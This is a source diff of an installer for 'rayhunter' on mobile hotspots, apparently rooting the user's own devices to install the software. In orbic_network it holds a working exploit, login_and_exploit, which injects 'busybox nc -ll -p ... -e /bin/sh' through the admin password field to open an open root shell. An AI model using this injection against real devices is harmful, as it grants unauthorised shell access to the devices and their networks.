/// Simply emitting rerun-if-changed for a nonexistent filepath (such as wpa_supplicant) will make
|
|
||||||
/// cargo recompile everything all the time. Therefore, if the file does not exist we need to watch
|
|
||||||
/// the first parent directory that does.
|
|
||||||
fn watch_file(mut file: &Path) {
|
|
||||||
while !file.exists()
|
|
||||||
&& let Some(parent) = file.parent()
|
|
||||||
{
|
|
||||||
file = parent;
|
|
||||||
}
|
|
||||||
|
|
||||||
println!("cargo::rerun-if-changed={}", file.display());
|
|
||||||
}
|
|
||||||
|
|||||||
+6
-173
@@ -1,9 +1,9 @@
|
|||||||
use std::future::Future;
|
use std::future::Future;
|
||||||
use std::net::SocketAddr;
|
use std::net::SocketAddr;
|
||||||
|
|
||||||
use anyhow::{Result, bail};
|
use anyhow::Result;
|
||||||
|
|
||||||
use crate::output::{print, println};
|
use crate::output::println;
|
||||||
|
|
||||||
/// Abstraction for device communication (telnet or ADB)
|
/// Abstraction for device communication (telnet or ADB)
|
||||||
pub trait DeviceConnection {
|
pub trait DeviceConnection {
|
||||||
@@ -17,20 +17,19 @@ pub trait DeviceConnection {
|
|||||||
|
|
||||||
/// Check if a file exists using a DeviceConnection
|
/// Check if a file exists using a DeviceConnection
|
||||||
pub async fn file_exists<C: DeviceConnection>(conn: &mut C, path: &str) -> bool {
|
pub async fn file_exists<C: DeviceConnection>(conn: &mut C, path: &str) -> bool {
|
||||||
conn.run_command(&format!("test -f '{path}' && echo exists || echo missing"))
|
conn.run_command(&format!("test -f {path} && echo exists || echo missing"))
|
||||||
.await
|
.await
|
||||||
.map(|output| output.contains("exists"))
|
.map(|output| output.contains("exists"))
|
||||||
.unwrap_or(false)
|
.unwrap_or(false)
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Shared config installation logic. Installs to /data/rayhunter/config.toml which resolves
|
/// Shared config installation logic
|
||||||
/// through the symlink to the actual data directory.
|
|
||||||
pub async fn install_config<C: DeviceConnection>(
|
pub async fn install_config<C: DeviceConnection>(
|
||||||
conn: &mut C,
|
conn: &mut C,
|
||||||
|
config_path: &str,
|
||||||
device_type: &str,
|
device_type: &str,
|
||||||
reset_config: bool,
|
reset_config: bool,
|
||||||
) -> Result<()> {
|
) -> Result<()> {
|
||||||
let config_path = "/data/rayhunter/config.toml";
|
|
||||||
if reset_config || !file_exists(conn, config_path).await {
|
if reset_config || !file_exists(conn, config_path).await {
|
||||||
let config = crate::CONFIG_TOML.replace(
|
let config = crate::CONFIG_TOML.replace(
|
||||||
r#"#device = "orbic""#,
|
r#"#device = "orbic""#,
|
||||||
@@ -43,166 +42,6 @@ pub async fn install_config<C: DeviceConnection>(
|
|||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Install wifi tools (wpa_supplicant, wpa_cli, iw) to /data/rayhunter/bin.
|
|
||||||
///
|
|
||||||
/// Skips any binary that is already present on the device (e.g. provided by firmware),
|
|
||||||
/// since those may be newer or better-integrated than the bundled versions.
|
|
||||||
///
|
|
||||||
/// In debug builds the wpa-supplicant binaries may not be bundled (build.rs sets the
|
|
||||||
/// env vars to empty in that case); when so, this is a no-op so devs don't have to
|
|
||||||
/// build wpa-supplicant just to install on Orbic.
|
|
||||||
pub async fn install_wifi_tools<C: DeviceConnection>(conn: &mut C) -> Result<()> {
|
|
||||||
if env!("FILE_WPA_SUPPLICANT").is_empty() {
|
|
||||||
println!("wifi tools were not built into this installer, skipping");
|
|
||||||
return Ok(());
|
|
||||||
}
|
|
||||||
let tools: &[(&str, &str, &[u8])] = &[
|
|
||||||
(
|
|
||||||
"wpa_supplicant",
|
|
||||||
"/data/rayhunter/bin/wpa_supplicant",
|
|
||||||
crate::get_file!("FILE_WPA_SUPPLICANT"),
|
|
||||||
),
|
|
||||||
(
|
|
||||||
"wpa_cli",
|
|
||||||
"/data/rayhunter/bin/wpa_cli",
|
|
||||||
crate::get_file!("FILE_WPA_CLI"),
|
|
||||||
),
|
|
||||||
("iw", "/data/rayhunter/bin/iw", crate::get_file!("FILE_IW")),
|
|
||||||
];
|
|
||||||
for &(name, dest, payload) in tools {
|
|
||||||
if device_has_binary(conn, name).await {
|
|
||||||
println!("{name} already on device, skipping");
|
|
||||||
} else {
|
|
||||||
conn.write_file(dest, payload).await?;
|
|
||||||
conn.run_command(&format!("chmod +x {dest}")).await?;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn device_has_binary<C: DeviceConnection>(conn: &mut C, name: &str) -> bool {
|
|
||||||
// `command -v` is a POSIX shell builtin, so it works on minimal busybox firmware
|
|
||||||
// even when /usr/bin/which is absent.
|
|
||||||
conn.run_command(&format!(
|
|
||||||
"\"command -v {name} >/dev/null 2>&1 && echo FOUND || echo MISSING\""
|
|
||||||
))
|
|
||||||
.await
|
|
||||||
.map(|out| out.contains("FOUND"))
|
|
||||||
.unwrap_or(false)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Check if a directory exists using a DeviceConnection
|
|
||||||
pub async fn dir_exists<C: DeviceConnection>(conn: &mut C, path: &str) -> bool {
|
|
||||||
conn.run_command(&format!("test -d '{path}' && echo exists || echo missing"))
|
|
||||||
.await
|
|
||||||
.map(|output| output.contains("exists"))
|
|
||||||
.unwrap_or(false)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Check if a path is a symlink using a DeviceConnection
|
|
||||||
pub async fn is_symlink<C: DeviceConnection>(conn: &mut C, path: &str) -> bool {
|
|
||||||
conn.run_command(&format!("test -L '{path}' && echo yes || echo no"))
|
|
||||||
.await
|
|
||||||
.map(|output| output.contains("yes"))
|
|
||||||
.unwrap_or(false)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Read the target of a symlink using a DeviceConnection
|
|
||||||
pub async fn readlink<C: DeviceConnection>(conn: &mut C, path: &str) -> Result<String> {
|
|
||||||
// Use a prefix marker to find the actual output line, since some shells (TP-Link) echo
|
|
||||||
// back the command and run_command appends protocol lines.
|
|
||||||
let output = conn
|
|
||||||
.run_command(&format!("echo RL:$(readlink '{path}')"))
|
|
||||||
.await?;
|
|
||||||
|
|
||||||
for line in output.lines() {
|
|
||||||
if let Some(target) = line.trim().strip_prefix("RL:") {
|
|
||||||
return Ok(target.to_string());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
bail!("unexpected readlink output: {output:?}");
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Set up the data directory at `data_dir` and create a symlink from `/data/rayhunter` to it.
|
|
||||||
///
|
|
||||||
/// Handles migration from old locations:
|
|
||||||
/// - If `/data/rayhunter` is a real directory, moves its contents to `data_dir`
|
|
||||||
/// - If `/data/rayhunter` is a symlink to a different location, moves from the old target
|
|
||||||
/// - If `/data/rayhunter` doesn't exist, just creates the symlink
|
|
||||||
/// - If `/data/rayhunter` is a symlink to `data_dir`, does nothing
|
|
||||||
pub async fn setup_data_directory<C: DeviceConnection>(conn: &mut C, data_dir: &str) -> Result<()> {
|
|
||||||
if data_dir == "/data/rayhunter" {
|
|
||||||
bail!("data_dir must not be /data/rayhunter");
|
|
||||||
}
|
|
||||||
|
|
||||||
if data_dir.contains("'") {
|
|
||||||
bail!("data_dir must not contain an apostrophe (')");
|
|
||||||
}
|
|
||||||
|
|
||||||
// Determine where old data lives, if anywhere
|
|
||||||
let old_data_source = if is_symlink(conn, "/data/rayhunter").await {
|
|
||||||
let current_target = readlink(conn, "/data/rayhunter").await?;
|
|
||||||
if current_target == data_dir {
|
|
||||||
println!("Data directory already configured at {data_dir}");
|
|
||||||
return Ok(());
|
|
||||||
}
|
|
||||||
conn.run_command("rm -f /data/rayhunter").await?;
|
|
||||||
// The old symlink target is where data actually lives
|
|
||||||
if dir_exists(conn, ¤t_target).await {
|
|
||||||
Some(current_target)
|
|
||||||
} else {
|
|
||||||
None
|
|
||||||
}
|
|
||||||
} else if dir_exists(conn, "/data/rayhunter").await {
|
|
||||||
if dir_exists(conn, data_dir).await {
|
|
||||||
bail!("Both /data/rayhunter and {data_dir} exist and are directories.");
|
|
||||||
}
|
|
||||||
// Real directory (pre-migration Orbic state)
|
|
||||||
Some("/data/rayhunter".to_string())
|
|
||||||
} else {
|
|
||||||
None
|
|
||||||
};
|
|
||||||
|
|
||||||
// Migrate old data if present
|
|
||||||
if let Some(old_source) = &old_data_source {
|
|
||||||
// Stop rayhunter-daemon so it doesn't write during migration.
|
|
||||||
// The device will be rebooted at the end of installation anyway.
|
|
||||||
print!("Stopping rayhunter-daemon ... ");
|
|
||||||
let _ = conn
|
|
||||||
.run_command("/etc/init.d/rayhunter_daemon stop 2>/dev/null; true")
|
|
||||||
.await;
|
|
||||||
println!("ok");
|
|
||||||
|
|
||||||
print!("Migrating data from {old_source} to {data_dir} ... ");
|
|
||||||
|
|
||||||
// mv old data into its place. If source and destination are on the same filesystem,
|
|
||||||
// this is an instant rename.
|
|
||||||
// XXX: DeviceConnection::run_command does not expose the exit code of the ran command. It
|
|
||||||
// probably should, or a utility for it should exist?
|
|
||||||
let mv_output = conn
|
|
||||||
.run_command(&format!("mv '{old_source}' '{data_dir}' && echo MV_OK"))
|
|
||||||
.await?;
|
|
||||||
if mv_output.contains("MV_OK") {
|
|
||||||
println!("ok");
|
|
||||||
} else {
|
|
||||||
bail!("Failed to move data from {old_source} to {data_dir}:\n{mv_output}");
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
// No migration needed, just ensure the target directory exists
|
|
||||||
conn.run_command(&format!("mkdir -p '{data_dir}'")).await?;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Create the symlink
|
|
||||||
print!("Creating symlink /data/rayhunter -> {data_dir} ... ");
|
|
||||||
conn.run_command("mkdir -p /data").await?;
|
|
||||||
conn.run_command(&format!("ln -sf '{data_dir}' /data/rayhunter"))
|
|
||||||
.await?;
|
|
||||||
println!("ok");
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Telnet-based connection wrapper
|
/// Telnet-based connection wrapper
|
||||||
pub struct TelnetConnection {
|
pub struct TelnetConnection {
|
||||||
pub addr: SocketAddr,
|
pub addr: SocketAddr,
|
||||||
@@ -220,13 +59,7 @@ impl TelnetConnection {
|
|||||||
|
|
||||||
impl DeviceConnection for TelnetConnection {
|
impl DeviceConnection for TelnetConnection {
|
||||||
async fn run_command(&mut self, command: &str) -> Result<String> {
|
async fn run_command(&mut self, command: &str) -> Result<String> {
|
||||||
crate::util::telnet_send_command_with_output(
|
crate::util::telnet_send_command_with_output(self.addr, command, self.wait_for_prompt).await
|
||||||
self.addr,
|
|
||||||
command,
|
|
||||||
self.wait_for_prompt,
|
|
||||||
std::time::Duration::from_secs(10),
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
}
|
}
|
||||||
|
|
||||||
async fn write_file(&mut self, path: &str, content: &[u8]) -> Result<()> {
|
async fn write_file(&mut self, path: &str, content: &[u8]) -> Result<()> {
|
||||||
|
|||||||
@@ -1,23 +0,0 @@
|
|||||||
#[cfg(debug_assertions)]
|
|
||||||
macro_rules! get_file {
|
|
||||||
($var:literal) => {{
|
|
||||||
let path = env!($var);
|
|
||||||
match ::std::fs::read(path) {
|
|
||||||
Ok(bytes) => bytes.leak() as &'static [u8],
|
|
||||||
Err(e) => panic!("Failed to read file for {}: {}", $var, e),
|
|
||||||
}
|
|
||||||
}};
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg(not(debug_assertions))]
|
|
||||||
macro_rules! get_file {
|
|
||||||
($var:literal) => {{
|
|
||||||
const _: () = assert!(
|
|
||||||
!env!($var).is_empty(),
|
|
||||||
concat!($var, " was not bundled at build time"),
|
|
||||||
);
|
|
||||||
include_bytes!(env!($var)) as &'static [u8]
|
|
||||||
}};
|
|
||||||
}
|
|
||||||
|
|
||||||
pub(crate) use get_file;
|
|
||||||
+2
-44
@@ -6,10 +6,6 @@ use env_logger::Env;
|
|||||||
use anyhow::bail;
|
use anyhow::bail;
|
||||||
|
|
||||||
mod connection;
|
mod connection;
|
||||||
mod files;
|
|
||||||
pub(crate) use files::*;
|
|
||||||
|
|
||||||
mod moxee;
|
|
||||||
#[cfg(not(target_os = "android"))]
|
#[cfg(not(target_os = "android"))]
|
||||||
mod orbic;
|
mod orbic;
|
||||||
mod orbic_auth;
|
mod orbic_auth;
|
||||||
@@ -44,11 +40,9 @@ enum Command {
|
|||||||
/// Install rayhunter on the Orbic RC400L using the legacy USB+ADB-based installer.
|
/// Install rayhunter on the Orbic RC400L using the legacy USB+ADB-based installer.
|
||||||
#[cfg(not(target_os = "android"))]
|
#[cfg(not(target_os = "android"))]
|
||||||
OrbicUsb(InstallOrbic),
|
OrbicUsb(InstallOrbic),
|
||||||
/// Install rayhunter on the Orbic RC400L via network.
|
/// Install rayhunter on the Orbic RC400L or Moxee Hotspot via network.
|
||||||
#[clap(alias = "orbic-network")]
|
#[clap(alias = "orbic-network")]
|
||||||
Orbic(OrbicNetworkArgs),
|
Orbic(OrbicNetworkArgs),
|
||||||
/// Install rayhunter on the Moxee Hotspot via network.
|
|
||||||
Moxee(MoxeeArgs),
|
|
||||||
/// Install rayhunter on the TMobile TMOHS1.
|
/// Install rayhunter on the TMobile TMOHS1.
|
||||||
Tmobile(TmobileArgs),
|
Tmobile(TmobileArgs),
|
||||||
/// Install rayhunter on the Uz801.
|
/// Install rayhunter on the Uz801.
|
||||||
@@ -90,12 +84,6 @@ struct InstallTpLink {
|
|||||||
/// Overwrite config.toml even if it already exists on the device.
|
/// Overwrite config.toml even if it already exists on the device.
|
||||||
#[arg(long)]
|
#[arg(long)]
|
||||||
reset_config: bool,
|
reset_config: bool,
|
||||||
|
|
||||||
/// Override the data directory path. Defaults to /cache/rayhunter-data (or SD card path when
|
|
||||||
/// SD card is used). Must not be /data/rayhunter, which lives on a storage partition that's
|
|
||||||
/// too small for normal Rayhunter operation.
|
|
||||||
#[arg(long)]
|
|
||||||
data_dir: Option<String>,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Parser, Debug)]
|
#[derive(Parser, Debug)]
|
||||||
@@ -122,35 +110,6 @@ struct OrbicNetworkArgs {
|
|||||||
/// Overwrite config.toml even if it already exists on the device.
|
/// Overwrite config.toml even if it already exists on the device.
|
||||||
#[arg(long)]
|
#[arg(long)]
|
||||||
reset_config: bool,
|
reset_config: bool,
|
||||||
|
|
||||||
/// Override the data directory path. Defaults to /data/rayhunter-data.
|
|
||||||
/// Must not be /data/rayhunter.
|
|
||||||
#[arg(long)]
|
|
||||||
data_dir: Option<String>,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[derive(Parser, Debug)]
|
|
||||||
struct MoxeeArgs {
|
|
||||||
/// IP address for Moxee admin interface, if custom.
|
|
||||||
#[arg(long, default_value = "192.168.1.1")]
|
|
||||||
admin_ip: String,
|
|
||||||
|
|
||||||
/// Admin username for authentication.
|
|
||||||
#[arg(long, default_value = "admin")]
|
|
||||||
admin_username: String,
|
|
||||||
|
|
||||||
/// Admin password for authentication.
|
|
||||||
#[arg(long)]
|
|
||||||
admin_password: Option<String>,
|
|
||||||
|
|
||||||
/// Overwrite config.toml even if it already exists on the device.
|
|
||||||
#[arg(long)]
|
|
||||||
reset_config: bool,
|
|
||||||
|
|
||||||
/// Override the data directory path. Defaults to /cache/rayhunter-data.
|
|
||||||
/// Must not be /data/rayhunter.
|
|
||||||
#[arg(long)]
|
|
||||||
data_dir: Option<String>,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Parser, Debug)]
|
#[derive(Parser, Debug)]
|
||||||
@@ -286,8 +245,7 @@ async fn run(args: Args) -> Result<(), Error> {
|
|||||||
.context("Failed to install rayhunter on the Pinephone's Quectel modem")?,
|
.context("Failed to install rayhunter on the Pinephone's Quectel modem")?,
|
||||||
#[cfg(not(target_os = "android"))]
|
#[cfg(not(target_os = "android"))]
|
||||||
Command::OrbicUsb(args) => orbic::install(args.reset_config).await.context("\nFailed to install rayhunter on the Orbic RC400L (USB installer)")?,
|
Command::OrbicUsb(args) => orbic::install(args.reset_config).await.context("\nFailed to install rayhunter on the Orbic RC400L (USB installer)")?,
|
||||||
Command::Orbic(args) => orbic_network::install(args.admin_ip, args.admin_username, args.admin_password, args.reset_config, args.data_dir).await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
|
Command::Orbic(args) => orbic_network::install(args.admin_ip, args.admin_username, args.admin_password, args.reset_config).await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
|
||||||
Command::Moxee(args) => moxee::install(args).await.context("\nFailed to install rayhunter on the Moxee Hotspot")?,
|
|
||||||
Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?,
|
Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?,
|
||||||
Command::Util(subcommand) => {
|
Command::Util(subcommand) => {
|
||||||
match subcommand.command {
|
match subcommand.command {
|
||||||
|
|||||||
@@ -1,15 +0,0 @@
|
|||||||
use anyhow::Result;
|
|
||||||
|
|
||||||
use crate::MoxeeArgs;
|
|
||||||
|
|
||||||
pub async fn install(args: MoxeeArgs) -> Result<()> {
|
|
||||||
let data_dir = args.data_dir.or(Some("/cache/rayhunter-data".to_string()));
|
|
||||||
crate::orbic_network::install(
|
|
||||||
args.admin_ip,
|
|
||||||
args.admin_username,
|
|
||||||
args.admin_password,
|
|
||||||
args.reset_config,
|
|
||||||
data_dir,
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
}
|
|
||||||
+12
-18
@@ -13,7 +13,7 @@ use sha2::{Digest, Sha256};
|
|||||||
use tokio::time::sleep;
|
use tokio::time::sleep;
|
||||||
|
|
||||||
use crate::RAYHUNTER_DAEMON_INIT;
|
use crate::RAYHUNTER_DAEMON_INIT;
|
||||||
use crate::connection::{DeviceConnection, install_config, install_wifi_tools};
|
use crate::connection::{DeviceConnection, install_config};
|
||||||
use crate::output::{print, println};
|
use crate::output::{print, println};
|
||||||
use crate::util::open_usb_device;
|
use crate::util::open_usb_device;
|
||||||
|
|
||||||
@@ -53,15 +53,8 @@ pub struct AdbConnection<'a> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
impl DeviceConnection for AdbConnection<'_> {
|
impl DeviceConnection for AdbConnection<'_> {
|
||||||
/// Runs through /bin/rootshell so commands execute as root (install_wifi_tools needs
|
|
||||||
/// chmod on root-owned files). setup_rootshell must have succeeded before an
|
|
||||||
/// AdbConnection is created; callers in this module (setup_rayhunter) enforce that
|
|
||||||
/// ordering.
|
|
||||||
async fn run_command(&mut self, command: &str) -> Result<String> {
|
async fn run_command(&mut self, command: &str) -> Result<String> {
|
||||||
adb_command(
|
adb_command(self.device, &["sh", "-c", command])
|
||||||
self.device,
|
|
||||||
&["/bin/rootshell", "-c", &format!("\"{command}\"")],
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
async fn write_file(&mut self, path: &str, content: &[u8]) -> Result<()> {
|
async fn write_file(&mut self, path: &str, content: &[u8]) -> Result<()> {
|
||||||
@@ -136,7 +129,7 @@ async fn force_debug_mode() -> Result<ADBUSBDevice> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
async fn setup_rootshell(adb_device: &mut ADBUSBDevice) -> Result<()> {
|
async fn setup_rootshell(adb_device: &mut ADBUSBDevice) -> Result<()> {
|
||||||
let rootshell_bin = crate::get_file!("FILE_ROOTSHELL");
|
let rootshell_bin = include_bytes!(env!("FILE_ROOTSHELL"));
|
||||||
|
|
||||||
install_file(adb_device, "/bin/rootshell", rootshell_bin).await?;
|
install_file(adb_device, "/bin/rootshell", rootshell_bin).await?;
|
||||||
tokio::time::sleep(Duration::from_secs(1)).await;
|
tokio::time::sleep(Duration::from_secs(1)).await;
|
||||||
@@ -151,13 +144,9 @@ async fn setup_rootshell(adb_device: &mut ADBUSBDevice) -> Result<()> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
async fn setup_rayhunter(mut adb_device: ADBUSBDevice, reset_config: bool) -> Result<ADBUSBDevice> {
|
async fn setup_rayhunter(mut adb_device: ADBUSBDevice, reset_config: bool) -> Result<ADBUSBDevice> {
|
||||||
let rayhunter_daemon_bin = crate::get_file!("FILE_RAYHUNTER_DAEMON");
|
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
|
||||||
|
|
||||||
adb_at_syscmd(
|
adb_at_syscmd(&mut adb_device, "mkdir -p /data/rayhunter").await?;
|
||||||
&mut adb_device,
|
|
||||||
"mkdir -p /data/rayhunter/scripts /data/rayhunter/bin",
|
|
||||||
)
|
|
||||||
.await?;
|
|
||||||
install_file(
|
install_file(
|
||||||
&mut adb_device,
|
&mut adb_device,
|
||||||
"/data/rayhunter/rayhunter-daemon",
|
"/data/rayhunter/rayhunter-daemon",
|
||||||
@@ -169,8 +158,13 @@ async fn setup_rayhunter(mut adb_device: ADBUSBDevice, reset_config: bool) -> Re
|
|||||||
let mut conn = AdbConnection {
|
let mut conn = AdbConnection {
|
||||||
device: &mut adb_device,
|
device: &mut adb_device,
|
||||||
};
|
};
|
||||||
install_config(&mut conn, "orbic", reset_config).await?;
|
install_config(
|
||||||
install_wifi_tools(&mut conn).await?;
|
&mut conn,
|
||||||
|
"/data/rayhunter/config.toml",
|
||||||
|
"orbic",
|
||||||
|
reset_config,
|
||||||
|
)
|
||||||
|
.await?;
|
||||||
}
|
}
|
||||||
|
|
||||||
install_file(
|
install_file(
|
||||||
|
|||||||
@@ -8,9 +8,7 @@ use serde::Deserialize;
|
|||||||
use tokio::time::sleep;
|
use tokio::time::sleep;
|
||||||
|
|
||||||
use crate::RAYHUNTER_DAEMON_INIT;
|
use crate::RAYHUNTER_DAEMON_INIT;
|
||||||
use crate::connection::{
|
use crate::connection::{TelnetConnection, install_config};
|
||||||
TelnetConnection, install_config, install_wifi_tools, setup_data_directory,
|
|
||||||
};
|
|
||||||
use crate::orbic_auth::{LoginInfo, LoginRequest, LoginResponse, encode_password};
|
use crate::orbic_auth::{LoginInfo, LoginRequest, LoginResponse, encode_password};
|
||||||
use crate::output::{eprintln, print, println};
|
use crate::output::{eprintln, print, println};
|
||||||
use crate::util::{interactive_shell, telnet_send_command, telnet_send_file};
|
use crate::util::{interactive_shell, telnet_send_command, telnet_send_file};
|
||||||
@@ -24,10 +22,7 @@ struct ExploitResponse {
|
|||||||
}
|
}
|
||||||
|
|
||||||
async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Result<()> {
|
async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Result<()> {
|
||||||
// Disable connection pooling. The Orbic's web server does not properly support
|
let client: Client = Client::new();
|
||||||
// HTTP/1.1 keep-alive, so reusing connections causes "connection closed before
|
|
||||||
// message completed" errors.
|
|
||||||
let client: Client = Client::builder().pool_max_idle_per_host(0).build()?;
|
|
||||||
|
|
||||||
// Step 1: Get login info (priKey and session cookie)
|
// Step 1: Get login info (priKey and session cookie)
|
||||||
let login_info_response = client
|
let login_info_response = client
|
||||||
@@ -109,7 +104,7 @@ async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Re
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Step 4: Exploit using authenticated session
|
// Step 4: Exploit using authenticated session
|
||||||
let exploit_result = client
|
let response: ExploitResponse = client
|
||||||
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
|
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
|
||||||
.header("Content-Type", "application/json")
|
.header("Content-Type", "application/json")
|
||||||
.header("Cookie", authenticated_cookie)
|
.header("Cookie", authenticated_cookie)
|
||||||
@@ -118,27 +113,14 @@ async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Re
|
|||||||
r#"{{"password": "\"; busybox nc -ll -p {TELNET_PORT} -e /bin/sh & #"}}"#
|
r#"{{"password": "\"; busybox nc -ll -p {TELNET_PORT} -e /bin/sh & #"}}"#
|
||||||
))
|
))
|
||||||
.send()
|
.send()
|
||||||
.await;
|
.await
|
||||||
|
.context("failed to start telnet")?
|
||||||
|
.json()
|
||||||
|
.await
|
||||||
|
.context("failed to start telnet")?;
|
||||||
|
|
||||||
match exploit_result {
|
if response.retcode != 0 {
|
||||||
Ok(resp) => {
|
bail!("unexpected response while starting telnet: {:?}", response);
|
||||||
// Try to parse response but don't fail if the server closed the connection
|
|
||||||
match resp.json::<ExploitResponse>().await {
|
|
||||||
Ok(response) if response.retcode != 0 => {
|
|
||||||
bail!("unexpected response while starting telnet: {:?}", response);
|
|
||||||
}
|
|
||||||
Ok(_) => {}
|
|
||||||
Err(_) => {
|
|
||||||
// Server likely crashed from the injection which is expected
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Err(e) if e.is_connect() => {
|
|
||||||
bail!("failed to connect to admin interface at {admin_ip}: {e}");
|
|
||||||
}
|
|
||||||
Err(e) => {
|
|
||||||
eprintln!("exploit request failed ({e}), continuing anyway");
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
@@ -165,7 +147,6 @@ pub async fn install(
|
|||||||
admin_username: String,
|
admin_username: String,
|
||||||
admin_password: Option<String>,
|
admin_password: Option<String>,
|
||||||
reset_config: bool,
|
reset_config: bool,
|
||||||
data_dir: Option<String>,
|
|
||||||
) -> Result<()> {
|
) -> Result<()> {
|
||||||
let Some(admin_password) = admin_password else {
|
let Some(admin_password) = admin_password else {
|
||||||
eprintln!(
|
eprintln!(
|
||||||
@@ -189,8 +170,7 @@ pub async fn install(
|
|||||||
wait_for_telnet(&admin_ip).await?;
|
wait_for_telnet(&admin_ip).await?;
|
||||||
println!("done");
|
println!("done");
|
||||||
|
|
||||||
let data_dir = data_dir.unwrap_or_else(|| "/data/rayhunter-data".to_string());
|
setup_rayhunter(&admin_ip, reset_config).await
|
||||||
setup_rayhunter(&admin_ip, reset_config, &data_dir).await
|
|
||||||
}
|
}
|
||||||
|
|
||||||
async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
|
async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
|
||||||
@@ -214,9 +194,9 @@ async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
|
|||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
async fn setup_rayhunter(admin_ip: &str, reset_config: bool, data_dir: &str) -> Result<()> {
|
async fn setup_rayhunter(admin_ip: &str, reset_config: bool) -> Result<()> {
|
||||||
let addr = SocketAddr::from_str(&format!("{admin_ip}:{TELNET_PORT}"))?;
|
let addr = SocketAddr::from_str(&format!("{admin_ip}:{TELNET_PORT}"))?;
|
||||||
let rayhunter_daemon_bin = crate::get_file!("FILE_RAYHUNTER_DAEMON");
|
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
|
||||||
|
|
||||||
// Remount filesystem as read-write to allow modifications
|
// Remount filesystem as read-write to allow modifications
|
||||||
// This is really only necessary for the Moxee Hotspot
|
// This is really only necessary for the Moxee Hotspot
|
||||||
@@ -228,17 +208,7 @@ async fn setup_rayhunter(admin_ip: &str, reset_config: bool, data_dir: &str) ->
|
|||||||
)
|
)
|
||||||
.await?;
|
.await?;
|
||||||
|
|
||||||
let mut conn = TelnetConnection::new(addr, false);
|
telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0", false).await?;
|
||||||
setup_data_directory(&mut conn, data_dir).await?;
|
|
||||||
|
|
||||||
// Ensure bin and scripts directories exist under the data dir (via symlink)
|
|
||||||
telnet_send_command(
|
|
||||||
addr,
|
|
||||||
"mkdir -p /data/rayhunter/scripts /data/rayhunter/bin",
|
|
||||||
"exit code 0",
|
|
||||||
false,
|
|
||||||
)
|
|
||||||
.await?;
|
|
||||||
|
|
||||||
telnet_send_file(
|
telnet_send_file(
|
||||||
addr,
|
addr,
|
||||||
@@ -248,9 +218,14 @@ async fn setup_rayhunter(admin_ip: &str, reset_config: bool, data_dir: &str) ->
|
|||||||
)
|
)
|
||||||
.await?;
|
.await?;
|
||||||
|
|
||||||
install_wifi_tools(&mut conn).await?;
|
let mut conn = TelnetConnection::new(addr, false);
|
||||||
|
install_config(
|
||||||
install_config(&mut conn, "orbic", reset_config).await?;
|
&mut conn,
|
||||||
|
"/data/rayhunter/config.toml",
|
||||||
|
"orbic",
|
||||||
|
reset_config,
|
||||||
|
)
|
||||||
|
.await?;
|
||||||
|
|
||||||
telnet_send_file(
|
telnet_send_file(
|
||||||
addr,
|
addr,
|
||||||
|
|||||||
@@ -29,7 +29,7 @@ pub async fn install() -> Result<()> {
|
|||||||
run_command_expect(&mut adb, "mount -o remount,rw /", "exit code 0").await?;
|
run_command_expect(&mut adb, "mount -o remount,rw /", "exit code 0").await?;
|
||||||
run_command_expect(&mut adb, "mkdir -p /data/rayhunter", "exit code 0").await?;
|
run_command_expect(&mut adb, "mkdir -p /data/rayhunter", "exit code 0").await?;
|
||||||
|
|
||||||
let rayhunter_daemon_bin = crate::get_file!("FILE_RAYHUNTER_DAEMON");
|
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
|
||||||
adb.write_file("/data/rayhunter/rayhunter-daemon", rayhunter_daemon_bin)
|
adb.write_file("/data/rayhunter/rayhunter-daemon", rayhunter_daemon_bin)
|
||||||
.await?;
|
.await?;
|
||||||
adb.write_file(
|
adb.write_file(
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ use tokio::time::sleep;
|
|||||||
|
|
||||||
use crate::TmobileArgs as Args;
|
use crate::TmobileArgs as Args;
|
||||||
use crate::output::{print, println};
|
use crate::output::{print, println};
|
||||||
